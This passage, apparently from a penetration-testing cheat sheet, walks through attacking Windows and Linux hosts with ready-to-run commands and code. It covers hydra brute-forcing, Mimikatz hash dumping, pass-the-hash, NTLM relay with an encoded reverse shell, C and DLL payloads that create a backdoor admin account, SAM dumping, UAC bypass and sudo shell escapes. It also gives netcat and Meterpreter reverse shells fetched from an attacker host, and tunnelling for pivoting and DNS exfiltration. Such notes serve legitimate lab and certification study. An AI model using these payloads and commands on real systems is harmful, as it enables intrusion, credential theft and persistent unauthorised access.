SSH\nThe following attack uses the wordlist.txt file to bruteforce the admin user for SSH login.\n\n```bash\nhydra -L admin -P wordlist.txt \u003ctarget-ip\u003e ssh -t 4\n```\nIf the password is know, It could be used the tecnique **password spraying** where the passwords remain constant and the username is bruteforced. This is useful if we gain passwords from a dataleak.\n\n### RDP\nA RDP attack could be this\n\n```bash\nhydra -L Administrator -P wordlist.txt \u003ctarget-ip\u003e rdp -t 4\n```\n\n### HTTP Basic Auth\nThis works with HTTP basic auth protocol\n\n```bash\nhydra -l admin -P rockyou.txt \u003ctarget-ip\u003e http-get\n```\n\n## Cracking Password\nWith John and Hashcat we can craft customized mutating wordlist that let us modify the original wordlist while executing. In the [Hashcat Wiki](https://hashcat.net/wiki/doku.php?id=rule_based_attack) are shown all possible combinations for password mutation. For example, the following rule capitalizes each first letter and adds `1` and then `!` for each word.\n\n```txt\nc $1\nc $!\n```\n\nFor a wordlist with the single word `test`, this will create the following mutated wordlist\n\n```txt\nTest1\nTest!\n```\n\nThe attack will be the following\n\n```bash\nhashcat --wordlist=/usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/my-rule.rule user.hash\n```\n\n## KeePass file\nIf we dump a KeePass Database (Database.kdbx), we can try to crack it with\n\n```bash\nkeepass2john Database.kdbx \u003e keepass.hash\n```\nFirst we remove the \"Database:\" string from the hash, then we run our attack. The **13400** is the code for Hashcat to crack KeePass hashes.\n\n```bash\nhashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule --force\n```\n\n## SSH Keys \nIf we find a SSH Key password protected we can use\n\n```bash\nssh2john id_rsa \u003e id_rsa.hash\n```\n\nWe remove the filename at the beginning of the hash, as in the KeePass section and we use JohnTheRipper to crack the hash, but first we add our hashcat rules to the John configuration rules (if we want to use custom rules)\n\n```bash\ncat /home/kali/passwordattacks/my-rule.rule \u003e\u003e /etc/john/john.conf\n```\n\nAnd then the attack is run with\n\n```bash\njohn --wordlist=ssh.passwords --rules=sshRules id_rsa.hash\n```\n\nNow we can login with the SSH key and we can use the cracked passphrase.\n\n## NTLM Hashes\nThe NTLM hash is the cryptographic format in which user passwords are stored on Windows systems. NTLM hashes are stored in the SAM (security account manager) or NTDS file of a domain controller. They are a fundamental part of the mechanism used to authenticate a user through different communications protocols. It’s, therefore, critical information and highly sought after by hostile actors when trying to unleash a cyber-attack. When pentesting, for example, it’s common for attackers to try to obtain these hashes (using tools such as pwdump or mimikatz) and use Pass The Hash techniques using NTLM hashes to exploit the privileges of one or more systems. In this way, they could execute elevated privileges and even execute commands. The NTLM hash is encoded by taking the user’s password and converting it into a 16-byte key using an MD4 hash function. This key is divided into two halves of 8 bytes each, which are used as input to three rounds of DES encryption to generate a 16-byte output that represents the NTLM hash. Each DES round uses an 8-byte key derived from the original key half using a parity operation. The two 8-byte results from the three DES rounds are concatenated to form the 16-byte NTLM hash that is used to verify the user’s password in the Windows operating system. NTLM hashes are likely to be used in many Windows authentication attacks, so it’s advisable to limit their use and use Kerberos. \u003c!-- https://www.tarlogic.com/cybersecurity-glossary/ntlm-hash/ --\u003e\n\n### Mimikatz\n[Mimikatz](https://github.com/ParrotSec/mimikatz) is a very useful tool that can do many things once executed on a Windows system, like dumping NTML hashes of the users. As their Github page says, it can be run with\n\n```powershell\n.\\mimikatz.exe\n```\nWarning: Mimikatz's commands could not work depending on the Windows version. Make sure to download the correct version after checking with `systeminfo` the Windows version.\n\nThen, if we have the privileges, it can be used to dump NTLM hashes with\n\n```powershell\nprivilege::debug\ntoken::elevate\nlsadump::sam\n```\n\nTo impersonate another user\n\n```powershell\n sekurlsa::pth /user:Administrator /domain:\u003cDOMAI\u003e /ntlm:\u003cNTLM-HASH\u003e /impersonate\n ```\n\n### Cracking the NTLM hashes\nThe **1000** code is for NTLM hashes. The username is dump along with the hash. The cracking is done with the following code\n\n```bash\nhashcat -m 1000 user.hash /usr/share/wordlists/rockyou.txt\n```\n\nThe plaintext credential we will find are used in the authentication method in the Windows system, like RDP, SMB or other services, if the user has the required privileges to use that services.\n\n### Passing the NTLM hashes\nThe NTLM hashe can be used also as is if the protocol supports it. An example is SMB\n\n```bash\nsmbclient \\\\\\\\\u003cTARGET-IP\u003e\\\\secrets -U Administrator --pw-nt-hash \u003cNTLM-HASH\u003e\n```\n\nWe can escalate the writables shares with `impacket-psexec`, a oneliner tool that opens a reverse shell with the exploited target.\n\n```bash\nimpacket-psexec -hashes 00000000000000000000000000000000:\u003cNTLM-HASH\u003e Administrator@\u003cTARGET-IP\u003e\n```\n\n### Cracking the Net-NTLMv2 hashes\nOne of the authentication protocols Windows machines use to authenticate across the network is a challenge / response / validation called Net-NTLMv2. If can get a Windows machine to engage my machine with one of these requests, we can perform an offline cracking to attempt to retrieve their password. In some cases, we could also do a relay attack to authenticate directly to some other server in the network. \u003c!-- https://0xdf.gitlab.io/2019/01/13/getting-net-ntlm-hases-from-windows.html --\u003e\n\nOnce identified our interface, we can start our interceptor with\n\n```bash\nsudo responder -I \u003cINTERFACE\u003e\n```\n\nAnd from the Victim we only need to mount as a SMB share a fake provided path\n\n```powershell\ndir \\\\\u003cATTACKER-IP\u003e\\test\n```\n\nIn this way `responder` will dump the hash that could be cracked with code **5600** on hashcat\n\n```bash\nhashcat -m 5600 user.hash /usr/share/wordlists/rockyou.txt --force\n```\n\n### Relaying the Net-NTLMv2 hashes\nWe can perform a `ntlmrelayx` attack if the gained hash is too difficult to be cracked. In this case the `\u003cTARGET-IP\u003e` is the second exploitable machine on the network.\n\n```bash\nimpacket-ntlmrelayx --no-http-server -smb2support -t \u003cTARGET-IP\u003e -c \"powershell -enc \u003cENCODED-REVSHELL\u003e\"\n```\n\nThe encoded reverse shell can be crafted with some UTF16-BE malicious code crafted with https://www.revshells.com.\nThen, we have to gain the hash from the first machine. \nWe can do the same attack as before, mounting on the machine 1 the fake SMB share, in order to gain the hash.\n\n```powershell\ndir \\\\\u003cATTACKER-IP\u003e\\test\n```\n\nNow we `impacket-ntlmrelayx` will pass the hash to the second machine to authenticate us with the same hash. If the user is also the Administrator of the second machine, we will be logged as Administrator.\n\n# Privilege Escalation\n\n## Windows Privilege Escalation\nWe can use [Seatbelt](https://github.com/GhostPack/Seatbelt.git) and [WinPeas](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS) and then investigate on the results. It is also useful to check Powershell history and `Windows Event Viewer`. \nIf the result for Windows doesn't display colors, add this REG value\n\n```powershell\n REG ADD HKCU\\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 \n```\n\n## Enumeration\nAs always, enumerate all the possible things, login to SMB/SSH/Other services with default userames ad passwords or perform a _null login_ as the following\n\nFor rpcclient\n\n```bash\nrpcclient 10.10.10.192 -U\"\"\n```\n\nFor for smbclient\n\n```bash\nsmbclient -L 10.10.10.192 -U\"\"\n```\n\n## Service Binary Hijacking\n### PowerUp\nAnother useful tool to check privilege escalation vector is [PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1). We can upload it on the victim's machine and then use it to gain knowledge and exploit the privileges misconfiguration on the services.\nFirst, we enable the powershell scripting capability.\n\n```powershell\npowershell -ep bypass\n```\n\nThen we enable PowerUp\n\n```powershell\n. .\\PowerUp.ps1\n```\n\nTo list modifiable service we use\n\n```powershell\nGet-ModifiableServiceFile\n```\n\nOnce we spot an interesting service, we can try to abuse it with\n\n```powershell\nInstall-ServiceBinary -Name '\u003cSERVICENAME\u003e'\n```\n\nThis will create the admin user `john` with password `Password123!`. To log-in with the created user we can restart the service (if we have the correct permissions and PowerUp.ps1 automatically uses the right arguments). Eventuall we can restart the machine in order to have all services restarted.\nWe also must notice that if the service requrie some additional configurations, for example passing a configuration file, the PowerUp.ps1 script will fail and we must exploit manually the privilege escalation, setting the right path to the configurations of the service (eg: mysql).\n\nIf we have to manually load a custom exploit into the service we can directly write the C code and compile it for our needs\n\n```c\n#include \u003cstdlib.h\u003e\n\nint main ()\n{\n  int payload;\n  \n  payload = system (\"net user john Password123! /add\");\n  payload = system (\"net localgroup administrators john /add\");\n  \n  return 0;\n}\n```\n\nAnd then compile it with\n\n```bash\nx86_64-w64-mingw32-gcc payload.c -o payload.exe\n```\n\n## Service DLL Hijacking\nDLL are the specular 'Shared Object' on Linux. They are libraries that provide functionalities for executable programs. With the program [Process Monitor](https://learn.microsoft.com/en-us/sysinternals/downloads/procmon) we can monitor program calls. If we find that a program calls a DLL that is missing, it may be replaced (if we have the correct read/write permissions) by our malicious DLL. We can craft the DLL following [Microsoft's guidelines](https://learn.microsoft.com/it-it/troubleshoot/windows-client/deployment/dynamic-link-library) and insert into the case `DLL_PROCESS_ATTACHED` our code. The code can be similar to the previous code for the manual privilege escalation using Windows services. \n\nThis is the order Windows search for DLLs\n\n```\n1. The directory from which the application loaded.\n2. The system directory.\n3. The 16-bit system directory.\n4. The Windows directory. \n5. The current directory.\n6. The directories that are listed in the PATH environment variable.\n```\n\nThe following C program can be used to exploit a missing DLL\n\n```c\n#include \u003cstdlib.h\u003e\n#include \u003cwindows.h\u003e\n\nBOOL APIENTRY DllMain(\nHANDLE hModule,// Handle to DLL module\nDWORD ul_reason_for_call,// Reason for calling function\nLPVOID lpReserved ) // Reserved\n{\n    switch ( ul_reason_for_call )\n    {\n        case DLL_PROCESS_ATTACH: // A process is loading the DLL.\n        int payload;\n        payload = system (\"net user john Password123! /add\");\n        payload = system (\"net localgroup administrators john /add\");\n        break;\n        case DLL_THREAD_ATTACH: // A process is creating a new thread.\n        break;\n        case DLL_THREAD_DETACH: // A thread exits normally.\n        break;\n        case DLL_PROCESS_DETACH: // A process unloads the DLL.\n        break;\n    }\n    return TRUE;\n}\n\n```\n\nWe will then compile it on the linux machine with the `--shared` option and we load it in the Windows machine **in the path and with the name that Windows expect the DLL to have**. Obviously this works only if we have the **WRITE** permission on that files.\n\n```bash\nx86_64-w64-mingw32-gcc calledDll.cpp --shared -o calledDll.dll\n```\n\nTrasnfer the file and restart the service with\n\n```powershell\nRestart-Service \u003cSERVICENAME\u003e\n```\n\nAnd we will be able to execute a shell as admin with the user john. We could not be able to log-in via RDP because the user may not be in the RDP group.\n\n## Unquoted Service Paths\nWhen a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges (only if the vulnerable service is running with SYSTEM privilege level which most of the time it is). In Windows, if the service is not enclosed within quotes and is having spaces, it would handle the space as a break and pass the rest of the service path as an argument. \u003c!-- https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae --\u003e\n\nWe find unquoted paths with the command\n\n```powershell\nwmic service get name,pathname |  findstr /i /v \"C:\\Windows\\\\\" | findstr /i /v \"\"\"\n```\n\nWe must check if we have write permissions on the executable in order to replace it with a new one.\n\n```powershell\nicacls \"C:\\Program Files\\Enterprise Apps\\path\\to\\service.exe\"\n```\n\nThen if we have permission on the service we can start or stop it with `Start-Service` or `Stop-Service` command. Once we got the paths we can use PowerUp.ps1 for exploting the service. This means the service will be replaced with a malicious exe.\n\n```powershell\nGet-UnquotedService\npowershell -ep bypass\n. .\\PowerUp.ps1\n```\n\nAnd finally we run the command to overwrite the service with\n\n```powershell\nWrite-ServiceBinary -Name 'GammaService' -Path \"C:\\Program Files\\Enterprise Apps\\Current.exe\"\n```\n\nNow restarting the service will grant us an Administrator account with user john and Password123! as credentials\n\n```powershell\nRestart-Service GammaService\n```\n\n## Scheduled Tasks\nIf a task is executed periodically, we can exploit the called program if we have write permissions on it. To seek for scheduled tasks we can run.\n\n```powershell\nschtasks /query /fo LIST /v\n```\n\nEventually we can use `findstr` if we want to search for something specific. After that we can replace the program with a simple .exe that creates a new admin user.\n\n## Windows Services\nWe can watch status of Windows services with [Watch-Command](https://github.com/markwragg/PowerShell-Watch/tree/master)\n\n## Exploits\nWe can use multiple exploits for Windows, depending on the privileges we got on the system. An example could be [PrintSpoofer](https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe). We could serve it on the victim machine. If we have `SeImpersonatePrivilege` privilege displayable with `whoami /priv` we could gain Admin privileges with\n\n```powershell\n.\\PrintSpoofer64.exe -i -c powershell.exe\n```\n\nThere is a wide range of this exploits. We can use the whole [Potato Family](https://jlajara.gitlab.io/Potatoes_Windows_Privesc) and perform a Privilege Escalation. A real-life scenario of a Windows privilege escaltion could be exploiting the [`SeBackupPrivilege`](https://juggernaut-sec.com/sebackupprivilege).\n\n## Extracting a Copy of the SAM and SYSTEM Files Using reg.exe\nAfter having gained the Administrator access we cam dump SAM and SYSTEM using reg.exe \n\n```powershell\nreg save hklm\\sam C:\\temp\\SAM\nreg save hklm\\system C:\\temp\\SYSTEM\n```\n\nOnce copied back on the Kali machine the two files we can dump them with\n\n```bash\nimpacket-secretsdump -sam SAM -system SYSTEM LOCAL\n```\n\nor\n\n```bash\nsamdump2 SYSTEM SAM\n```\n\nThis will give us a list of userame:hash that can be cracked using hashcat's NTLM cracking or used for a Pass The Hash attack. Other ways to perform a SAM and SYSTEM credential dumping are explained [here](https://juggernaut-sec.com/dumping-credentials-sam-file-hashes/). \nMany scenarios about dumping SAM ad SYSTEM can be found [here](https://www.hackingarticles.in/credential-dumping-sam/).\n\n## UAC Bypass\nDue to unsafe .Net Deserialization we can exploit the system using [UAC Bypass](https://github.com/CsEnox/EventViewer-UACBypass).\n```powershell\nPS C:\\Windows\\Tasks\u003e Import-Module .\\Invoke-EventViewer.ps1\n\nPS C:\\Windows\\Tasks\u003e Invoke-EventViewer \n[-] Usage: Invoke-EventViewer commandhere\nExample: Invoke-EventViewer cmd.exe\n\nPS C:\\Windows\\Tasks\u003e Invoke-EventViewer cmd.exe\n[+] Running\n[1] Crafting Payload\n[2] Writing Payload\n[+] EventViewer Folder exists\n[3] Finally, invoking eventvwr\n```\n\n### Additional Tips for Windows PE\nAlways check installed programs under `C:\\Program Files(x86)` or under folders as `Downloads` or `Documents`. We can find exploitable programs (search the program name with searchsploit) or interesting files like Keypass vaults or hashed credentials to be cracked.\nAdditioally, if we find some non-standard executable program that requires some sort of credentials for it, just do a `strings fileame.exe` because the credentials may be hardcoded into it.\n\n## Linux Privilege Escalation\nWe can use many tools like [unix-privesc-check](https://github.com/pentestmonkey/unix-privesc-check) or [linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) and [LinEnum](https://github.com/rebootuser/LinEnum) to perform an analysis on the possibile privilege escalation vectors on a unix system.\n\n### Crunch\nWe can perform a password list creation with [Crunch](https://github.com/jim3ma/crunch).\n\n## Commond abused binaries\nWe can use the [GTFOBins](https://gtfobins.github.io/gtfobins/) to read existent exploitations for binaries in linux. Below more examples.\n\n### SETUID\n#### find\nfind utils can be abused and can execute a shell. We use `-p` to preventing the effective user from being reset. \n\n ```bash\nfind /home/joe/Desktop -exec \"/usr/bin/bash\" -p \\;\n ```\n\n#### gdb\n ```bash\n/usr/bin/gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit\n ```\n\n#### cp\n ```bash\nLFILE=file_to_change\n/usr/bin/cp --attributes-only --preserve=all ./cp \"$LFILE\"\n ```\n#### gawk\n ```bash\n/usr/bin/gawk 'BEGIN {system(\"/bin/sh\")}'\n ```\n### VISUDO\nIn the file `/etc/sudoers` the sysadmin can specify which commands the users can run with the \"sudo\" keyword that can be used to run the command with elevated privileges. This could led to a many exploit tecniques that we can find referring to GTFObins. Normally users that can run \"sudo\" are the users listed in the `sudo group`.\n\n### VI / VIM\nVI and VIM are often misconfigured and users are allowed to use them with sudo. A common way to exploit the bad configuration is the following. \nThis exploit let the user call the vi/vim executable as required in the visudo file (`sudo -l` to see the user sudo permission).\n```bash\nsudo vi /ALLOWED/PATH\n:set shell=/bin/sh\n:shell\n```\n\n### LXD\nTo perform pviesc when part of lxd group an interesting exploit description is available [here](https://www.hackingarticles.in/lxd-privilege-escalation/). \n\n#### apt\n ```bash\nsudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh\n ```\n\n#### gcc\n ```bash\nsudo gcc -wrapper /bin/sh,-s .\n ```\n\n## System Investigation \nTo get all capabilities on file in the system we can use the following commands, also grepping for a specific capability.\n\n ```bash\n/usr/sbin/getcap -r / 2\u003e/dev/null\n/usr/sbin/getcap -r / 2\u003e/dev/null | grep -i setuid\n ```\n\n## Searchexploit for Privilege Escalation\nThere are many exploits for many linux kernel versions out there. We can check the OS Version with cat /etc/os-release. Famous examples of Linux kernel exploits are [DirtyCow](https://dirtycow.ninja/) or [DirtyPipe](https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits). There is also a recent exploit on the GNU C Library [Looney Tunables](https://github.com/hadrian3689/looney-tunables-CVE-2023-4911) that can work on newer systems as a privilege escalation. An interesting and recent case is the Pkexec Local Privilege Escalation exploit that can be run with [PwnKit](https://github.com/ly4k/PwnKit). Many of this exploits can be found directly with `searchsploit`.\n\n### linPEAS oneliner\n\n ```bash\ncurl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh\n ```\n\n## Port Forwarding\nPort forwarding is a tecnique that let one machine \"bridge\" his connection between two networks. In a case where we want to access to the machine B (a database) that is connected to the machine A (a virtual machine) that is connected to the WAN, we want first to exploit and access the machine A in order to reach the second machine, routable only through the network in which there is the machine A.\n\n### Socat\nSocat is a useful tool for Port Forwarding. Let's start it in verbose mode with\n\n ```bash\nsocat -ddd TCP-LISTEN:\u003cKALI-PORT\u003e,fork TCP:\u003cTARGET-MACHINE\u003e:\u003cTARGET-PORT\u003e\n ```\n\nNext we will connect to it from the Kali VM with the postgresql client that we have only on the kali machine.\n\n ```bash\npsql -h \u003cTARGET-IP\u003e -p \u003cTARGET-PORT\u003e -U postgres\n ```\n\nFor an SSH forwarding we can use \n\n ```bash\nsocat -ddd TCP-LISTEN:22,fork TCP:\u003cTARGET-MACHINE\u003e:2222\n ```\n\nAnd then we can connect to it via\n\n ```bash\nssh user@\u003cTARGET-IP\u003e -p \u003cTARGET-PORT\u003e\n ```\n\nAn useful pre-compiled binary for Windows is [socat-1.7.3.0.exe](https://github.com/tech128/socat-1.7.3.0-windows/tree/master). It has to be run in the folder with all the DLL files. In this way we get a port forwarding from an exploited Windows machine to our Kali machine, and we can connect to the network the Windows machine is connected to.\n\n ```powershell\n.\\socat.exe TCP-LISTEN:2222, TCP:192.168.45.223:4444\n ```\n\nAn example of revshell for this scenario is\n\n ```powershell\nnc.exe \u003cIP\u003e 2222 -e powershell\n ```\n\n## SSH Tunneling\nIn cases where socat is not present on the target machine we can still use the SSH tunneling functionality. Port forwarding can be of different types.\n\n### Local Port Forwarding\nIn this case we run the command on the **TARGET** that becames the \"forwarder\" between **KALI** and the **IP-B**. This is useful to directly connect **KALI** to the **IP-B** machine, through the connection forwarded from **TARGET** to **IP-A**. The \n\n ```bash\nssh -N -L 0.0.0.0:\u003cLOCAL-PORT\u003e:\u003cIP-B\u003e:\u003cREMOTE-PORT\u003e user@\u003cIP-A\u003e\n ```\n\n ```\n\nKALI ----- TARGET ----- IP-A ----- IP-B [REMOTE-PORT]\n |________________________||__________|\n\n```\n\n### Dynamic Port Forwarding\nThis lets us forward all ports to the **KALI** machine through the connection forwarded from **TARGET** to **IP-A**. It is useful when we want to perform a network scan and in the IP-A machine there isn't the NMAP binary.\n\n ```bash\nssh -N -D 0.0.0.0:\u003cLOCAL-PORT\u003e user@\u003cIP-B\u003e\n```\n\n```\n     \nKALI ----- TARGET ----- IP-A ----- IP-B [ALL PORTS]\n |________________________||__________|\n\n```\n\nTo use commands we must pass through the SOCKS5 protocol, with the `proxychains` client. This client will forward all traffic to the proxy on the ssh listening port. In this way all the traffic will go through this connection. An example of the usage of proxychains for an nmap scan of the victim's subnet is the following:\n\n ```bash\nproxychains nmap -sV -A -O 192.168.1.0/24\n```\n\nProxychain configuration at `/etc/proxychains.conf` must be configured\n\n ```bash\n[ProxyList]\nsocks5 \u003cIP-B\u003e \u003cLOCAL-PORT\u003e\n ```\n\n### Remote Port Forwarding\nIt is more common for firewalls and network administration rules to have only filtering in the inbound traffic, but less filtering on the outbound connections. We can use Remote Port Forwarding to mitigate this defense. The following command is a Remote Port Forwarding from the Kali machine serving the SSH on port LOCAL-PORT and forwarding all the connections to the IP-B on the REMOTE-PORT\n\n ```bash\nssh -N -R 127.0.0.1:\u003cLOCAL-PORT\u003e:\u003cIP-B\u003e:\u003cREMOTE-PORT\u003e kali@\u003cKALI-IP\u003e\n ```\n\n```\n    RECEIVED AS OUTBOUND\n |¯¯¯¯¯¯¯¯¯¯¯\u003e¯¯¯¯¯¯¯¯¯¯¯¯¯|      \nKALI ----- TARGET ----- IP-A ----- IP-B [REMOTE PORT]\n |___________\u003c____________||_________|\n          OUTBOUND\n```\n\n### Remote Dynamic Port Forwarding\nThis, similar to the Local Dynamic port forwarding lets through the usage of `proxychains` to connect to the \u003cIP-B\u003e on all ports, based redirecting the traffic from the IP-A to the Kali machine on the \u003cLOCAL-PORT\u003e \n\n ```bash\nssh -N -R \u003cLOCAL-PORT\u003e kali@\u003cKALI-IP\u003e\n```\n\n```\n    RECEIVED AS OUTBOUND\n |¯¯¯¯¯¯¯¯¯¯¯\u003e¯¯¯¯¯¯¯¯¯¯¯¯¯|      \nKALI ----- TARGET ----- IP-A ----- IP-B [ALL PORTS]\n |___________\u003c____________||_________|\n          OUTBOUND\n```\n\n### SSHUTTLE\nThis tools works like a VPN and routes our traffic through the SSH listener we spin on a server. First we have to set up `SOCAT` to listen in the \u003cLOCAL-PORT\u003e, then we can scan the network simply using a normal NMAP.\n\n ```bash\nsocat TCP-LISTEN:\u003cLOCAL-PORT\u003e,fork TCP:\u003cREMOTE-IP\u003e:\u003cREMOTE-PORT\u003e\n```\n\nNext we run sshuttle specifying the subnets we want to be forwarded through the ssh connection\n\n ```bash\nsshuttle -r database_admin@\u003cREMOTE-IP\u003e:\u003cLOCAL-PORT\u003e \u003cSUBNET-1\u003e \u003cSUBNET-2\u003e\n ```\n\nNow, an NMAP on SUBNET-1 will work as we were in the same network.\n\n### PLINK\nPlink is the CLI version of PuTTY that allow us to use SSH Remote Forwarding if the OpenSSH service is missing. The syntax specifies the LOCAL-PORT on which Kali will listen and the REMOTE-PORT the Windows Machine will forward the connection to. This is useful in scenarios in which we have access only through CLI on the Windows Machine 1 and we want to connect via RDP to the Windows Machine 2, reachable only from the first Windows Machine.\n\n```\n\nKALI ---SSH--- WINDOWS-1 ---RDP--- WINDOWS-2\n |________________RDP__________________|\n\n```\n\nA simple plink Remote Forwaring is the following\n\n ```powershell\nC:\\Windows\\Temp\\plink.exe -ssh -l kali -pw \u003cYOUR PASSWORD HERE\u003e -R 127.0.0.1:\u003cLOCAL-PORT\u003e:127.0.0.1:\u003cREMOTE-PORT\u003e \u003cKALI-IP\u003e\n ```\n\n### NETSH\nFrom the Microsoft documentation: \"Netsh is a command-line scripting utility that allows you to display or modify the network configuration of a computer that is currently running. Netsh commands can be run by typing commands at the netsh shell and be used in batch files or scripts. Remote computers and the local computer can be configured by using netsh commands. \nFirst we must add the interface proxy with\n\n```powershell\nnetsh interface portproxy add v4tov4 listenport=\u003cLOCA-PORT\u003e listenaddress=\u003cLOCAL-IP\u003e connectport=\u003cREMOTE-PORT\u003e connectaddress=\u003cREMOTE-IP\u003e\n```\n\nTo show the status of the proxy\n\n```powershell\nnetsh interface portproxy show all\n```\n\nWe must allow the firewall rule to open a port in order to use the proxy. For this reason netsh requires Administrator privileges.\n\n```powershell\nnetsh advfirewall firewall add rule name=\"port_forward_ssh_PORT\" protocol=TCP dir=in localip=\u003cLOCAL-IP\u003e localport=\u003cLOCAL-PORT\u003e action=allow\n```\n\nNow, querying the LOCAL-IP with a connection, will connect the Kali machine to the REMOTE-IP on the REMOTE-PORT. At the end of the attack we should restore the firewall rules with\n\n```powershell\nnetsh advfirewall firewall delete rule name=\"port_forward_ssh_PORT\"\nnetsh interface portproxy del v4tov4 listenport=\u003cLOCAL-IP\u003e listenaddress=\u003cLOCAL-IP\u003e\n```\n\n### CHISEL\n[Chisel](https://github.com/jpillora/chisel) is an HTTP tunnel that forwards all the network connection through the HTTP protocol. It can be used combined with SSH to provide a good way to bypass firewalls that allows only Web traffic. Chisel uses a client/server model and binds the connection to the SOCKS port on the kali machine.\n\nFirst we start chisel `SERVER` executable. It can happen that the target doesn't have the chisel executable. In this case we must provide it first.\n\n ```bash\nchisel server --port \u003cLOCAL-PORT\u003e --reverse\n```\n\nOn the `CLIENT` we must bind the connection with the server. The R specifies SOCKS reverse tunneling that bounds on port 1080 on the kali machine by default (`ss -ntplu` to check the bind status)\n\n```bash\n/tmp/chisel client \u003cKALI-IP\u003e:\u003cLOCAL-PORT\u003e R:socks \u003e /dev/null 2\u003e\u00261 \u0026\n ```\n\nNow, on the server we can navigate through the chisel tunnel with HTTP connection. We specify the ProxyCommand option that is the SSH option to specify a SOCKS5 connection and we use ncat, a modified version of netcat that accepts a SOCKS5 connection.\n\n```bash\nssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' user@\u003cREMOTE-IP\u003e\n```\n\nAlternately we can use proxychains bound on `127.0.0.1` on port `1080`. This is an example with smbclient.\n\n```bash\nproxychains smbclient -L \\\\\u003cREMOTE-IP\u003e\n```\n\n## DNS Exfiltration and DNS Tunneling\nDNS tunneling takes advantage of this fact by using DNS requests to implement a command and control channel for malware. Inbound DNS traffic can carry commands to the malware, while outbound traffic can exfiltrate sensitive data or provide responses to the malware operator’s requests. This works because DNS is a very flexible protocol. There are very few restrictions on the data that a DNS request contains because it is designed to look for domain names of websites. Since almost anything can be a domain name, these fields can be used to carry sensitive information. These requests are designed to go to attacker-controlled DNS servers, ensuring that they can receive the requests and respond in the corresponding DNS replies.\n\n### DNSCAT2\nWith [dnscat](https://github.com/iagox86/dnscat2) we can use DNS as a tunnel and forward all traffic with DNS requests from one host, to connect a WAN host to an host deep and protected in the internal LAN. The **WAN-HOST** will query the **IP-B** through the DNS tunnel that **IP-A** enstabilish with **WAN-HOST**, using **IP-C** as a resolver.\n\n```\n                DNS ------IP-C\n                 |     \nWAN-HOST ----- IP-A ------IP-B\n   |____________||__________|\n\n```\n\nOn the internal host, after we gain access to it, we run\n\n```bash\n./dnscat \u003cDOMAIN\u003e\n```\n\nAnd on the host in the WAN we run\n\n```bash\ndnscat2-server \u003cDOMAIN\u003e\n```\n\nWhere the **DOMAIN** is a domain that can be resolved in the LAN. Now on the server we can interact with the tunnel created \n\n```bash\nwindow -i 1\n```\n\nAnd run the command that forwards the **LOCAL-PORT** to the **REMOTE-INTERNAL-IP** using the **REMOTE-PORT**\n\n```bash\nlisten 127.0.0.1:\u003cLOCAL-PORT\u003e \u003cREMOTE-INTERNAL-IP\u003e:\u003cREMOTE-PORT\u003e\n```\n\nNow on the WAN host we can query the **REMOTE-INTERNAL-IP** using the tunnel, with a connection that points to **LOCAL-PORT**\n\n```bash\nssh user@127.0.0.1 -p \u003cLOCAL-PORT\u003e\n```\n\n## Metasploit\n[Offsec's Metasploit Page](https://www.offsec.com/metasploit-unleashed/) has a very good guide for Metasploit usage.\n\n## Staged Reverse Shell\nWe create the staged executables that we will transfer on the targets\n\n```bash\nmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=\u003cLHOST\u003e LPORT=\u003cLPORT\u003e -f exe -o met.exe\n```\n\nAnd in msfconsole we start the listener\n\n```bash\nsudo msfconsole -q\nuse multi/handler\nset payload windows/x64/meterpreter/reverse_tcp\nset LHOST \u003cHOST-IP\u003e\nset LPORT \u003cPORT\u003e\nset ExitOnSession false\nrun -j\n```\n\nWe start the python server to serve the exploit on the machine\n\n```bash\npython3 -m http.server \u003cPORT\u003e\n```\n\nOn the target we download the file and we run the executable\n\n```powershell\niwr -uri http://\u003cHOST-IP\u003e:\u003cPORT\u003e/met.exe -Outfile met.exe\n.\\met.exe\n```\n\n### Oneliner Listener\nWe can use metasploit also via oneliner commands\n\n```bash\nmsfconsole -x \"use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST \u003cLHOST\u003e;set LPORT \u003cLPORT\u003e;run;\"\n```\n\n## Autoroute and Proxy\nMetasploit can also help us with port forwarding. We can set up the `autoroute module`\n\n```bash\nuse multi/manage/autoroute\nset session \u003cSESSION\u003e\nrun\n```\n\nAnd then we start the socks proxy\n\n```bash\nuse auxiliary/server/socks_proxy\nset SRVHOST 127.0.0.1\nset SRVPORT 1080\nset VERSION 5\nrun -j\n```\n\nIn this way all the traffic routed through the exploited machine will be redirected in our 127.0.0.1, port 1080. With proxychains we can run command thorugh the proxy and enumerate the internal network\n\n```bash\nproxychains nmap -sT -oN -p 80 192.168.1.0/24 \n```\n\n## Active Directory\nA directory is a hierarchical structure that stores information about objects on the network. A directory service, such as Active Directory Domain Services (AD DS), provides the methods for storing directory data and making this data available to network users and administrators. For example, AD DS stores information about user accounts, such as names, passwords, phone numbers, and so on, and enables other authorized users on the same network to access this information.\n\nActive Directory stores information about objects on the network and makes this information easy for administrators and users to find and use. Active Directory uses a structured data store as the basis for a logical, hierarchical organization of directory information.\nList users in domain\n\n## Active Directory Mindmap\nA very useful mindmap for Active Directory is the following (credits: [https://orange-cyberdefense.github.io](https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg))\n![image](img/mindmap_ad_dark_classic_2025.03.excalidraw.svg)\n\n```powershell\nnet user /domain\n```\n\nEnumerate user in domain\n\n```powershell\nnet user \u003cUSER\u003e /domain\n```\n\nList groups in domain\n\n```powershell\nnet group /domain\n```\n\nEnumerate group in domain\n\n```powershell\nnet group \u003cGROUP\u003e /domain\n```\n\n### Active 